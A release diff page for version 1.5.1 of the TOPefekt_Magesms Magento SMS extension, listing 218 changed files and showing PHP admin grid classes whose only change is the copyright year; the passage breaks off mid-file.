TOPefekt_Magesms - Version 1.5.1

Version Notes

2014-2017

Download this release

Release Info

Developer Frantisek Barancik
Extension TOPefekt_Magesms
Version 1.5.1
Comparing to
See all releases


Code changes from version 1.4.7 to 1.5.1

Files changed (218) hide show
  1. app/code/community/Topefekt/Magesms/Block/Answers.php +1 -1
  2. app/code/community/Topefekt/Magesms/Block/Answers/Grid.php +1 -1
  3. app/code/community/Topefekt/Magesms/Block/Answers/Renderer/Actions.php +1 -1
  4. app/code/community/Topefekt/Magesms/Block/Answers/Renderer/Smsc.php +1 -1
  5. app/code/community/Topefekt/Magesms/Block/Cart.php +1 -1
  6. app/code/community/Topefekt/Magesms/Block/Customer.php +1 -1
  7. app/code/community/Topefekt/Magesms/Block/Customer/Grid.php +1 -1
  8. app/code/community/Topefekt/Magesms/Block/Customer/Marketing.php +1 -1
  9. app/code/community/Topefekt/Magesms/Block/Magesms.php +1 -1
  10. app/code/community/Topefekt/Magesms/Block/Marketing.php +1 -1
  11. app/code/community/Topefekt/Magesms/Block/Marketing/Customer.php +1 -1
  12. app/code/community/Topefekt/Magesms/Block/Marketing/Form.php +1 -1
  13. app/code/community/Topefekt/Magesms/Block/Marketing/Grid.php +1 -1
  14. app/code/community/Topefekt/Magesms/Block/Marketing/Template.php +1 -1
  15. app/code/community/Topefekt/Magesms/Block/Profile.php +1 -1
  16. app/code/community/Topefekt/Magesms/Block/System/Config/Apikeygenerator.php +1 -1
  17. app/code/community/Topefekt/Magesms/Block/Template.php +1 -1
  18. app/code/community/Topefekt/Magesms/Block/Template/Template.php +1 -1
  19. app/code/community/Topefekt/Magesms/Block/Validate.php +16 -0
  20. app/code/community/Topefekt/Magesms/Block/Validate/Customer.php +16 -0
  21. app/code/community/Topefekt/Magesms/Block/Validate/Mobile.php +16 -0
  22. app/code/community/Topefekt/Magesms/Block/Validate/Script.php +16 -0
  23. app/code/community/Topefekt/Magesms/Block/Wizard.php +1 -1
  24. app/code/community/Topefekt/Magesms/Block/Wizard/Grid.php +1 -1
  25. app/code/community/Topefekt/Magesms/Controller/Action.php +1 -1
  26. app/code/community/Topefekt/Magesms/Controller/Template/Action.php +1 -1
  27. app/code/community/Topefekt/Magesms/Helper/Adminhtml/Data.php +2 -2
  28. app/code/community/Topefekt/Magesms/Helper/Customer.php +16 -0
  29. app/code/community/Topefekt/Magesms/Helper/Data.php +2 -2
  30. app/code/community/Topefekt/Magesms/Model/Admins.php +1 -1
  31. app/code/community/Topefekt/Magesms/Model/Answers.php +1 -1
  32. app/code/community/Topefekt/Magesms/Model/Api.php +2 -2
  33. app/code/community/Topefekt/Magesms/Model/Birthdaymessages/Observer.php +16 -0
  34. app/code/community/Topefekt/Magesms/Model/Birthdaymessages/Template.php +16 -0
  35. app/code/community/Topefekt/Magesms/Model/Country.php +1 -1
  36. app/code/community/Topefekt/Magesms/Model/Country/Area.php +1 -1
  37. app/code/community/Topefekt/Magesms/Model/Country/Lang.php +1 -1
  38. app/code/community/Topefekt/Magesms/Model/Exceptions.php +1 -1
  39. app/code/community/Topefekt/Magesms/Model/Hooks.php +2 -2
  40. app/code/community/Topefekt/Magesms/Model/Hooks/Admins.php +1 -1
  41. app/code/community/Topefekt/Magesms/Model/Hooks/Customers.php +1 -1
  42. app/code/community/Topefekt/Magesms/Model/Hooks/Templates.php +1 -1
  43. app/code/community/Topefekt/Magesms/Model/Hooks/Unicode.php +1 -1
  44. app/code/community/Topefekt/Magesms/Model/Magesms.php +1 -1
  45. app/code/community/Topefekt/Magesms/Model/Maps.php +1 -1
  46. app/code/community/Topefekt/Magesms/Model/Marketing/Filter.php +1 -1
  47. app/code/community/Topefekt/Magesms/Model/Marketing/Filter/Birthday.php +1 -1
  48. app/code/community/Topefekt/Magesms/Model/Marketing/Filter/Birthdayall.php +1 -1
  49. app/code/community/Topefekt/Magesms/Model/Marketing/Filter/City.php +1 -1
  50. app/code/community/Topefekt/Magesms/Model/Marketing/Filter/Collection.php +1 -1
  51. app/code/community/Topefekt/Magesms/Model/Marketing/Filter/Country.php +1 -1
  52. app/code/community/Topefekt/Magesms/Model/Marketing/Filter/Firstname.php +1 -1
  53. app/code/community/Topefekt/Magesms/Model/Marketing/Filter/Gender.php +1 -1
  54. app/code/community/Topefekt/Magesms/Model/Marketing/Filter/Group.php +2 -2
  55. app/code/community/Topefekt/Magesms/Model/Marketing/Filter/Lastname.php +1 -1
  56. app/code/community/Topefekt/Magesms/Model/Marketing/Filter/Marketing.php +16 -0
  57. app/code/community/Topefekt/Magesms/Model/Marketing/Filter/Newsletter.php +1 -1
  58. app/code/community/Topefekt/Magesms/Model/Marketing/Filter/Orderssum.php +1 -1
  59. app/code/community/Topefekt/Magesms/Model/Marketing/Filter/Product.php +2 -2
  60. app/code/community/Topefekt/Magesms/Model/Marketing/Filter/Register.php +2 -2
  61. app/code/community/Topefekt/Magesms/Model/Marketing/Filter/Sale.php +16 -0
  62. app/code/community/Topefekt/Magesms/Model/Marketing/Filter/Type.php +1 -1
  63. app/code/community/Topefekt/Magesms/Model/Marketing/Filter/Website.php +1 -1
  64. app/code/community/Topefekt/Magesms/Model/Mysql4/Admins.php +1 -1
  65. app/code/community/Topefekt/Magesms/Model/Mysql4/Admins/Collection.php +1 -1
  66. app/code/community/Topefekt/Magesms/Model/Mysql4/Answers.php +1 -1
  67. app/code/community/Topefekt/Magesms/Model/Mysql4/Answers/Collection.php +1 -1
  68. app/code/community/Topefekt/Magesms/Model/Mysql4/Birthdaymessages/Template.php +16 -0
  69. app/code/community/Topefekt/Magesms/Model/Mysql4/Birthdaymessages/Template/Collection.php +16 -0
  70. app/code/community/Topefekt/Magesms/Model/Mysql4/Collection.php +1 -1
  71. app/code/community/Topefekt/Magesms/Model/Mysql4/Country.php +1 -1
  72. app/code/community/Topefekt/Magesms/Model/Mysql4/Country/Area.php +1 -1
  73. app/code/community/Topefekt/Magesms/Model/Mysql4/Country/Area/Collection.php +1 -1
  74. app/code/community/Topefekt/Magesms/Model/Mysql4/Country/Collection.php +1 -1
  75. app/code/community/Topefekt/Magesms/Model/Mysql4/Country/Lang.php +1 -1
  76. app/code/community/Topefekt/Magesms/Model/Mysql4/Country/Lang/Collection.php +1 -1
  77. app/code/community/Topefekt/Magesms/Model/Mysql4/Exceptions.php +1 -1
  78. app/code/community/Topefekt/Magesms/Model/Mysql4/Exceptions/Collection.php +1 -1
  79. app/code/community/Topefekt/Magesms/Model/Mysql4/Hooks.php +1 -1
  80. app/code/community/Topefekt/Magesms/Model/Mysql4/Hooks/Admins.php +1 -1
  81. app/code/community/Topefekt/Magesms/Model/Mysql4/Hooks/Admins/Collection.php +1 -1
  82. app/code/community/Topefekt/Magesms/Model/Mysql4/Hooks/Collection.php +1 -1
  83. app/code/community/Topefekt/Magesms/Model/Mysql4/Hooks/Customers.php +1 -1
  84. app/code/community/Topefekt/Magesms/Model/Mysql4/Hooks/Customers/Collection.php +1 -1
  85. app/code/community/Topefekt/Magesms/Model/Mysql4/Hooks/Templates.php +1 -1
  86. app/code/community/Topefekt/Magesms/Model/Mysql4/Hooks/Templates/Collection.php +1 -1
  87. app/code/community/Topefekt/Magesms/Model/Mysql4/Hooks/Unicode.php +1 -1
  88. app/code/community/Topefekt/Magesms/Model/Mysql4/Hooks/Unicode/Collection.php +1 -1
  89. app/code/community/Topefekt/Magesms/Model/Mysql4/Maps.php +1 -1
  90. app/code/community/Topefekt/Magesms/Model/Mysql4/Maps/Collection.php +1 -1
  91. app/code/community/Topefekt/Magesms/Model/Mysql4/Marketing/Filter.php +1 -1
  92. app/code/community/Topefekt/Magesms/Model/Mysql4/Marketing/Filter/Collection.php +1 -1
  93. app/code/community/Topefekt/Magesms/Model/Mysql4/Optout/Order.php +1 -1
  94. app/code/community/Topefekt/Magesms/Model/Mysql4/Optout/Order/Collection.php +1 -1
  95. app/code/community/Topefekt/Magesms/Model/Mysql4/Ownnumbersender.php +1 -1
  96. app/code/community/Topefekt/Magesms/Model/Mysql4/Ownnumbersender/Collection.php +1 -1
  97. app/code/community/Topefekt/Magesms/Model/Mysql4/Routes.php +1 -1
  98. app/code/community/Topefekt/Magesms/Model/Mysql4/Routes/Alternative.php +1 -1
  99. app/code/community/Topefekt/Magesms/Model/Mysql4/Routes/Alternative/Collection.php +1 -1
  100. app/code/community/Topefekt/Magesms/Model/Mysql4/Routes/Collection.php +1 -1
  101. app/code/community/Topefekt/Magesms/Model/Mysql4/Smshistory.php +1 -1
  102. app/code/community/Topefekt/Magesms/Model/Mysql4/Smshistory/Collection.php +1 -1
  103. app/code/community/Topefekt/Magesms/Model/Mysql4/Smsuser.php +1 -1
  104. app/code/community/Topefekt/Magesms/Model/Mysql4/Smsuser/Collection.php +2 -2
  105. app/code/community/Topefekt/Magesms/Model/Mysql4/Template.php +1 -1
  106. app/code/community/Topefekt/Magesms/Model/Mysql4/Template/Collection.php +1 -1
  107. app/code/community/Topefekt/Magesms/Model/Mysql4/Textsender.php +1 -1
  108. app/code/community/Topefekt/Magesms/Model/Mysql4/Textsender/Collection.php +1 -1
  109. app/code/community/Topefekt/Magesms/Model/Mysql4/Variables.php +1 -1
  110. app/code/community/Topefekt/Magesms/Model/Mysql4/Variables/Collection.php +1 -1
  111. app/code/community/Topefekt/Magesms/Model/Observer.php +32 -2
  112. app/code/community/Topefekt/Magesms/Model/Optout/Order.php +1 -1
  113. app/code/community/Topefekt/Magesms/Model/Otp/Observer.php +16 -0
  114. app/code/community/Topefekt/Magesms/Model/Overide/Cataloginventory/Stock.php +1 -1
  115. app/code/community/Topefekt/Magesms/Model/Ownnumbersender.php +1 -1
  116. app/code/community/Topefekt/Magesms/Model/Routes.php +2 -2
  117. app/code/community/Topefekt/Magesms/Model/Routes/Alternative.php +2 -2
  118. app/code/community/Topefekt/Magesms/Model/Sms.php +2 -2
  119. app/code/community/Topefekt/Magesms/Model/Smshistory.php +1 -1
  120. app/code/community/Topefekt/Magesms/Model/Smsprofile.php +1 -1
  121. app/code/community/Topefekt/Magesms/Model/Smsuser.php +2 -2
  122. app/code/community/Topefekt/Magesms/Model/System/Config/Connector.php +2 -2
  123. app/code/community/Topefekt/Magesms/Model/System/Config/Customergroups.php +1 -1
  124. app/code/community/Topefekt/Magesms/Model/System/Config/Lang.php +1 -1
  125. app/code/community/Topefekt/Magesms/Model/System/Config/OtpType.php +16 -0
  126. app/code/community/Topefekt/Magesms/Model/System/Config/SmsvalidCheckoutType.php +16 -0
  127. app/code/community/Topefekt/Magesms/Model/System/Config/SmsvalidCustomerType.php +16 -0
  128. app/code/community/Topefekt/Magesms/Model/System/Config/SmsvalidOrderType.php +16 -0
  129. app/code/community/Topefekt/Magesms/Model/Template.php +1 -1
  130. app/code/community/Topefekt/Magesms/Model/Textsender.php +1 -1
  131. app/code/community/Topefekt/Magesms/Model/Variables.php +1 -1
  132. app/code/community/Topefekt/Magesms/controllers/AccountController.php +16 -0
  133. app/code/community/Topefekt/Magesms/controllers/Adminhtml/Magesms/AboutController.php +2 -2
  134. app/code/community/Topefekt/Magesms/controllers/Adminhtml/Magesms/AdminsmsController.php +2 -2
  135. app/code/community/Topefekt/Magesms/controllers/Adminhtml/Magesms/AnswersController.php +1 -1
  136. app/code/community/Topefekt/Magesms/controllers/Adminhtml/Magesms/CustomersmsController.php +2 -2
  137. app/code/community/Topefekt/Magesms/controllers/Adminhtml/Magesms/HistoryController.php +2 -2
  138. app/code/community/Topefekt/Magesms/controllers/Adminhtml/Magesms/MarketingController.php +3 -3
  139. app/code/community/Topefekt/Magesms/controllers/Adminhtml/Magesms/OptoutController.php +1 -1
  140. app/code/community/Topefekt/Magesms/controllers/Adminhtml/Magesms/ProfileController.php +2 -2
  141. app/code/community/Topefekt/Magesms/controllers/Adminhtml/Magesms/PurchasecreditController.php +1 -1
  142. app/code/community/Topefekt/Magesms/controllers/Adminhtml/Magesms/SendsmsController.php +1 -1
  143. app/code/community/Topefekt/Magesms/controllers/Adminhtml/Magesms/StatisticsController.php +1 -1
  144. app/code/community/Topefekt/Magesms/controllers/Adminhtml/Magesms/WizardController.php +2 -2
  145. app/code/community/Topefekt/Magesms/controllers/ApiController.php +1 -1
  146. app/code/community/Topefekt/Magesms/controllers/CartController.php +1 -1
  147. app/code/community/Topefekt/Magesms/controllers/DeliveryController.php +2 -2
  148. app/code/community/Topefekt/Magesms/controllers/IndexController.php +1 -1
  149. app/code/community/Topefekt/Magesms/controllers/MarketingController.php +1 -1
  150. app/code/community/Topefekt/Magesms/controllers/Validate/IndexController.php +16 -0
  151. app/code/community/Topefekt/Magesms/controllers/ValidateController.php +16 -0
  152. app/code/community/Topefekt/Magesms/data/magesms_setup/data-install-1.0.0.php +15 -8
  153. app/code/community/Topefekt/Magesms/data/magesms_setup/data-upgrade-1.0.1-1.0.2.php +1 -1
  154. app/code/community/Topefekt/Magesms/data/magesms_setup/data-upgrade-1.0.3-1.0.4.php +2 -2
  155. app/code/community/Topefekt/Magesms/data/magesms_setup/data-upgrade-1.1.0-1.1.1.php +1 -1
  156. app/code/community/Topefekt/Magesms/data/magesms_setup/data-upgrade-1.1.1-1.1.2.php +1 -1
  157. app/code/community/Topefekt/Magesms/data/magesms_setup/data-upgrade-1.2.0-1.2.1.php +1 -1
  158. app/code/community/Topefekt/Magesms/data/magesms_setup/data-upgrade-1.3.1-1.3.2.php +2 -2
  159. app/code/community/Topefekt/Magesms/data/magesms_setup/data-upgrade-1.3.6-1.4.0.php +16 -0
  160. app/code/community/Topefekt/Magesms/data/magesms_setup/data-upgrade-1.4.0-1.4.1.php +16 -0
  161. app/code/community/Topefekt/Magesms/data/magesms_setup/data-upgrade-1.4.1-1.4.2.php +16 -0
  162. app/code/community/Topefekt/Magesms/data/magesms_setup/data-upgrade-1.4.2-1.4.3.php +19 -0
  163. app/code/community/Topefekt/Magesms/data/magesms_setup/data-upgrade-1.4.4-1.4.5.php +16 -0
  164. app/code/community/Topefekt/Magesms/data/magesms_setup/data-upgrade-1.4.5-1.4.6.php +16 -0
  165. app/code/community/Topefekt/Magesms/data/magesms_setup/data-upgrade-1.4.7-1.4.8.php +24 -0
  166. app/code/community/Topefekt/Magesms/data/magesms_setup/data-upgrade-1.4.8-1.5.0.php +28 -0
  167. app/code/community/Topefekt/Magesms/data/magesms_setup/data-upgrade-1.5.0-1.5.1.php +20 -0
  168. app/code/community/Topefekt/Magesms/etc/adminhtml.xml +8 -0
  169. app/code/community/Topefekt/Magesms/etc/config.xml +93 -1
  170. app/code/community/Topefekt/Magesms/etc/system.xml +65 -0
  171. app/code/community/Topefekt/Magesms/sql/magesms_setup/mysql4-install-0.9.0.php +1 -1
  172. app/code/community/Topefekt/Magesms/sql/magesms_setup/mysql4-install-1.0.0.php +1 -1
  173. app/code/community/Topefekt/Magesms/sql/magesms_setup/mysql4-upgrade-0.9.11-0.9.12.php +1 -1
  174. app/code/community/Topefekt/Magesms/sql/magesms_setup/mysql4-upgrade-0.9.12-0.9.13.php +1 -1
  175. app/code/community/Topefekt/Magesms/sql/magesms_setup/mysql4-upgrade-1.0.1-1.0.2.php +1 -1
  176. app/code/community/Topefekt/Magesms/sql/magesms_setup/mysql4-upgrade-1.1.3-1.1.4.php +2 -2
  177. app/code/community/Topefekt/Magesms/sql/magesms_setup/mysql4-upgrade-1.1.5-1.2.0.php +1 -1
  178. app/code/community/Topefekt/Magesms/sql/magesms_setup/mysql4-upgrade-1.3.3-1.3.4.php +3 -3
  179. app/code/community/Topefekt/Magesms/sql/magesms_setup/mysql4-upgrade-1.3.6-1.4.0.php +2 -2
  180. app/code/community/Topefekt/Magesms/sql/magesms_setup/mysql4-upgrade-1.4.0-1.4.1.php +2 -2
  181. app/code/community/Topefekt/Magesms/sql/magesms_setup/mysql4-upgrade-1.4.1-1.4.2.php +2 -2
  182. app/code/community/Topefekt/Magesms/sql/magesms_setup/mysql4-upgrade-1.4.2-1.4.3.php +2 -5
  183. app/code/community/Topefekt/Magesms/sql/magesms_setup/mysql4-upgrade-1.4.4-1.4.5.php +2 -2
  184. app/code/community/Topefekt/Magesms/sql/magesms_setup/mysql4-upgrade-1.4.5-1.4.6.php +2 -2
  185. app/code/community/Topefekt/Magesms/sql/magesms_setup/mysql4-upgrade-1.4.7-1.4.8.php +16 -0
  186. app/code/community/Topefekt/Magesms/sql/magesms_setup/mysql4-upgrade-1.4.8-1.5.0.php +26 -0
  187. app/code/community/Topefekt/Magesms/sql/magesms_setup/mysql4-upgrade-1.5.0-1.5.1.php +16 -0
  188. app/design/adminhtml/default/default/template/topefekt/magesms/about.phtml +1 -1
  189. app/design/adminhtml/default/default/template/topefekt/magesms/adminsms.phtml +1 -1
  190. app/design/adminhtml/default/default/template/topefekt/magesms/birthdaymessages/form.phtml +16 -0
  191. app/design/adminhtml/default/default/template/topefekt/magesms/customersms.phtml +2 -2
  192. app/design/adminhtml/default/default/template/topefekt/magesms/history.phtml +2 -2
  193. app/design/adminhtml/default/default/template/topefekt/magesms/marketing.phtml +1 -1
  194. app/design/adminhtml/default/default/template/topefekt/magesms/marketing/customer.phtml +1 -1
  195. app/design/adminhtml/default/default/template/topefekt/magesms/marketing/form.phtml +1 -1
  196. app/design/adminhtml/default/default/template/topefekt/magesms/optout.phtml +1 -1
  197. app/design/adminhtml/default/default/template/topefekt/magesms/profile.phtml +2 -2
  198. app/design/adminhtml/default/default/template/topefekt/magesms/purchasecredit.phtml +1 -1
  199. app/design/adminhtml/default/default/template/topefekt/magesms/sendsms.phtml +1 -1
  200. app/design/adminhtml/default/default/template/topefekt/magesms/statistics.phtml +1 -1
  201. app/design/adminhtml/default/default/template/topefekt/magesms/template/form.phtml +1 -1
  202. app/design/adminhtml/default/default/template/topefekt/magesms/wizard-alternative.phtml +1 -1
  203. app/design/adminhtml/default/default/template/topefekt/magesms/wizard-edit.phtml +1 -1
  204. app/design/adminhtml/default/default/template/topefekt/magesms/wizard-list.phtml +1 -1
  205. app/design/adminhtml/default/default/template/topefekt/magesms/wizard-sender.phtml +1 -1
  206. app/design/adminhtml/default/default/template/topefekt/magesms/wizard.phtml +1 -1
  207. app/design/frontend/base/default/layout/magesms.xml +35 -11
  208. app/design/frontend/base/default/template/topefekt/magesms/cart.phtml +1 -1
  209. app/design/frontend/base/default/template/topefekt/magesms/marketing-dashboard.phtml +1 -1
  210. app/design/frontend/base/default/template/topefekt/magesms/validate/checkout-button.phtml +16 -0
  211. app/design/frontend/base/default/template/topefekt/magesms/validate/customer-ajax.phtml +16 -0
  212. app/design/frontend/base/default/template/topefekt/magesms/validate/mobile.phtml +18 -0
  213. app/etc/modules/Topefekt_Magesms.xml +3 -0
  214. app/locale/cs_CZ/Topefekt_Magesms.csv +8 -0
  215. app/locale/de_DE/Topefekt_Magesms.csv +7 -0
  216. app/locale/sk_SK/Topefekt_Magesms.csv +8 -0
  217. js/topefekt/smsvalid.js +115 -0
  218. package.xml +6 -6
app/code/community/Topefekt/Magesms/Block/Answers.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Block_Answers extends Mage_Adminhtml_Block_Widget_Grid_Container { public function __construct() { $this->_controller = 'answers'; $this->_blockGroup = 'magesms'; $this->_headerText = $this->__('SMS Answers'); parent::__construct(); $this->_removeButton('add'); } public function getFilterUrl() { $this->getRequest()->setParam('filter', null); return $this->getUrl('*/*/filter', array('_current' => true)); } public function getHeaderHtml() { return '<h3 class="' . $this->getHeaderCssClass() . '">' . $this->getHeaderText() . '</h3><div style="clear: both">'. $this->__('SMS answer from customer is displayed only when customer receives SMS from your shop with SMS sender type „System number“ and customer replies using his own mobile phone.'). '</div>'; } public function getHeaderWidth() { return 'width: 100%'; } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Block_Answers extends Mage_Adminhtml_Block_Widget_Grid_Container { public function __construct() { $this->_controller = 'answers'; $this->_blockGroup = 'magesms'; $this->_headerText = $this->__('SMS Answers'); parent::__construct(); $this->_removeButton('add'); } public function getFilterUrl() { $this->getRequest()->setParam('filter', null); return $this->getUrl('*/*/filter', array('_current' => true)); } public function getHeaderHtml() { return '<h3 class="' . $this->getHeaderCssClass() . '">' . $this->getHeaderText() . '</h3><div style="clear: both">'. $this->__('SMS answer from customer is displayed only when customer receives SMS from your shop with SMS sender type „System number“ and customer replies using his own mobile phone.'). '</div>'; } public function getHeaderWidth() { return 'width: 100%'; } }
app/code/community/Topefekt/Magesms/Block/Answers/Grid.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Block_Answers_Grid extends Mage_Adminhtml_Block_Widget_Grid { public function __construct() { parent::__construct(); $this->setSaveParametersInSession(false); $this->setDefaultSort('cas'); $this->setDefaultDir('DESC'); } protected function _prepareCollection() { $iff7e46827cbb6547116c592bf800f4687428abf9 = Mage::getResourceModel('magesms/answers_collection'); $this->setCollection($iff7e46827cbb6547116c592bf800f4687428abf9); parent::_prepareCollection(); return $this; } protected function _prepareColumns() { $this->addColumn('from', array( 'header'=>Mage::helper('magesms')->__('From number'), 'width' => '150px', 'index' => 'from', 'align' => 'right', ) ); $this->addColumn('text', array( 'index' => 'text', 'header'=>Mage::helper('magesms')->__('Text'), ) ); $this->addColumn('cas', array( 'header'=>Mage::helper('magesms')->__('Date'), 'width' => '150px', 'index' => 'cas', 'type' => 'datetime', ) ); $this->addColumn('smsc', array( 'header'=>Mage::helper('magesms')->__('SMS center'), 'width' => '150px', 'index' => 'smsc', 'align' => 'right', 'renderer' => 'Topefekt_Magesms_Block_Answers_Renderer_Smsc', ) ); if (Mage::getSingleton('admin/session')->isAllowed('magesms/answers/mark_as_read') || Mage::getSingleton('admin/session')->isAllowed('magesms/answers/remove')) { $this->addColumn('action', array( 'header' => Mage::helper('magesms')->__('Action'), 'width' => '200px', 'sortable' => false, 'filter' => false, 'type' => 'action', 'is_system' => true, 'renderer' => 'Topefekt_Magesms_Block_Answers_Renderer_Actions' ) ); } $this->addExportType('*/*/exportCsv', Mage::helper('magesms')->__('CSV')); $this->addExportType('*/*/exportExcel', Mage::helper('magesms')->__('Excel XML')); return parent::_prepareColumns(); } protected function _prepareMassaction() { $this->setMassactionIdField('IDs'); $this->getMassactionBlock()->setFormFieldName('answers'); if (Mage::getSingleton('admin/session')->isAllowed('magesms/answers/mark_as_read')) { $this->getMassactionBlock()->addItem('mark_as_read', array( 'label' => Mage::helper('magesms')->__('Mark as Read'), 'url' => $this->getUrl('*/*/massMarkAsRead', array('_current'=>true)), )); } if (Mage::getSingleton('admin/session')->isAllowed('magesms/answers/remove')) { $this->getMassactionBlock()->addItem('remove', array( 'label' => Mage::helper('magesms')->__('Remove'), 'url' => $this->getUrl('*/*/massRemove'), 'confirm' => Mage::helper('magesms')->__('Are you sure?') )); } return $this; } protected function getNoFilterMassactionColumn(){ return true; } public function getRowClass(Varien_Object $iebe3a16a01f87f9a4ebbb9731163db3e3e64cc3d) { return $iebe3a16a01f87f9a4ebbb9731163db3e3e64cc3d->getProhlednuto() ? 'read' : 'unread'; } public function getRowClickCallback() { return false; } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Block_Answers_Grid extends Mage_Adminhtml_Block_Widget_Grid { public function __construct() { parent::__construct(); $this->setSaveParametersInSession(false); $this->setDefaultSort('cas'); $this->setDefaultDir('DESC'); } protected function _prepareCollection() { $iff7e46827cbb6547116c592bf800f4687428abf9 = Mage::getResourceModel('magesms/answers_collection'); $this->setCollection($iff7e46827cbb6547116c592bf800f4687428abf9); parent::_prepareCollection(); return $this; } protected function _prepareColumns() { $this->addColumn('from', array( 'header'=>Mage::helper('magesms')->__('From number'), 'width' => '150px', 'index' => 'from', 'align' => 'right', ) ); $this->addColumn('text', array( 'index' => 'text', 'header'=>Mage::helper('magesms')->__('Text'), ) ); $this->addColumn('cas', array( 'header'=>Mage::helper('magesms')->__('Date'), 'width' => '150px', 'index' => 'cas', 'type' => 'datetime', ) ); $this->addColumn('smsc', array( 'header'=>Mage::helper('magesms')->__('SMS center'), 'width' => '150px', 'index' => 'smsc', 'align' => 'right', 'renderer' => 'Topefekt_Magesms_Block_Answers_Renderer_Smsc', ) ); if (Mage::getSingleton('admin/session')->isAllowed('magesms/answers/mark_as_read') || Mage::getSingleton('admin/session')->isAllowed('magesms/answers/remove')) { $this->addColumn('action', array( 'header' => Mage::helper('magesms')->__('Action'), 'width' => '200px', 'sortable' => false, 'filter' => false, 'type' => 'action', 'is_system' => true, 'renderer' => 'Topefekt_Magesms_Block_Answers_Renderer_Actions' ) ); } $this->addExportType('*/*/exportCsv', Mage::helper('magesms')->__('CSV')); $this->addExportType('*/*/exportExcel', Mage::helper('magesms')->__('Excel XML')); return parent::_prepareColumns(); } protected function _prepareMassaction() { $this->setMassactionIdField('IDs'); $this->getMassactionBlock()->setFormFieldName('answers'); if (Mage::getSingleton('admin/session')->isAllowed('magesms/answers/mark_as_read')) { $this->getMassactionBlock()->addItem('mark_as_read', array( 'label' => Mage::helper('magesms')->__('Mark as Read'), 'url' => $this->getUrl('*/*/massMarkAsRead', array('_current'=>true)), )); } if (Mage::getSingleton('admin/session')->isAllowed('magesms/answers/remove')) { $this->getMassactionBlock()->addItem('remove', array( 'label' => Mage::helper('magesms')->__('Remove'), 'url' => $this->getUrl('*/*/massRemove'), 'confirm' => Mage::helper('magesms')->__('Are you sure?') )); } return $this; } protected function getNoFilterMassactionColumn(){ return true; } public function getRowClass(Varien_Object $iebe3a16a01f87f9a4ebbb9731163db3e3e64cc3d) { return $iebe3a16a01f87f9a4ebbb9731163db3e3e64cc3d->getProhlednuto() ? 'read' : 'unread'; } public function getRowClickCallback() { return false; } }
app/code/community/Topefekt/Magesms/Block/Answers/Renderer/Actions.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Block_Answers_Renderer_Actions extends Mage_Adminhtml_Block_Widget_Grid_Column_Renderer_Abstract { public function render(Varien_Object $iebe3a16a01f87f9a4ebbb9731163db3e3e64cc3d) { $id82aaf2f437652c4b6efbd55703199f614e8e516 = ''; if (!$iebe3a16a01f87f9a4ebbb9731163db3e3e64cc3d->getProhlednuto() && Mage::getSingleton('admin/session')->isAllowed('magesms/answers/mark_as_read')) { $id82aaf2f437652c4b6efbd55703199f614e8e516 = '<a href="'. $this->getUrl('*/*/markAsRead/', array('_current' => true, 'id' => $iebe3a16a01f87f9a4ebbb9731163db3e3e64cc3d->getId())).'">'. Mage::helper('magesms')->__('Mark as Read') .'</a>'; } if (Mage::getSingleton('admin/session')->isAllowed('magesms/answers/remove')) { if ($id82aaf2f437652c4b6efbd55703199f614e8e516) $id82aaf2f437652c4b6efbd55703199f614e8e516 .= ' | '; $id82aaf2f437652c4b6efbd55703199f614e8e516 .= sprintf('<a href="%s" onClick="deleteConfirm(\'%s\', this.href); return false;">%s</a>', $this->getUrl('*/*/remove/', array( '_current'=>true, 'id' => $iebe3a16a01f87f9a4ebbb9731163db3e3e64cc3d->getId(), Mage_Core_Controller_Front_Action::PARAM_NAME_URL_ENCODED => $this->helper('core/url')->getEncodedUrl()) ), Mage::helper('magesms')->__('Are you sure?'), Mage::helper('magesms')->__('Remove') ); } return $id82aaf2f437652c4b6efbd55703199f614e8e516; } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Block_Answers_Renderer_Actions extends Mage_Adminhtml_Block_Widget_Grid_Column_Renderer_Abstract { public function render(Varien_Object $iebe3a16a01f87f9a4ebbb9731163db3e3e64cc3d) { $id82aaf2f437652c4b6efbd55703199f614e8e516 = ''; if (!$iebe3a16a01f87f9a4ebbb9731163db3e3e64cc3d->getProhlednuto() && Mage::getSingleton('admin/session')->isAllowed('magesms/answers/mark_as_read')) { $id82aaf2f437652c4b6efbd55703199f614e8e516 = '<a href="'. $this->getUrl('*/*/markAsRead/', array('_current' => true, 'id' => $iebe3a16a01f87f9a4ebbb9731163db3e3e64cc3d->getId())).'">'. Mage::helper('magesms')->__('Mark as Read') .'</a>'; } if (Mage::getSingleton('admin/session')->isAllowed('magesms/answers/remove')) { if ($id82aaf2f437652c4b6efbd55703199f614e8e516) $id82aaf2f437652c4b6efbd55703199f614e8e516 .= ' | '; $id82aaf2f437652c4b6efbd55703199f614e8e516 .= sprintf('<a href="%s" onClick="deleteConfirm(\'%s\', this.href); return false;">%s</a>', $this->getUrl('*/*/remove/', array( '_current'=>true, 'id' => $iebe3a16a01f87f9a4ebbb9731163db3e3e64cc3d->getId(), 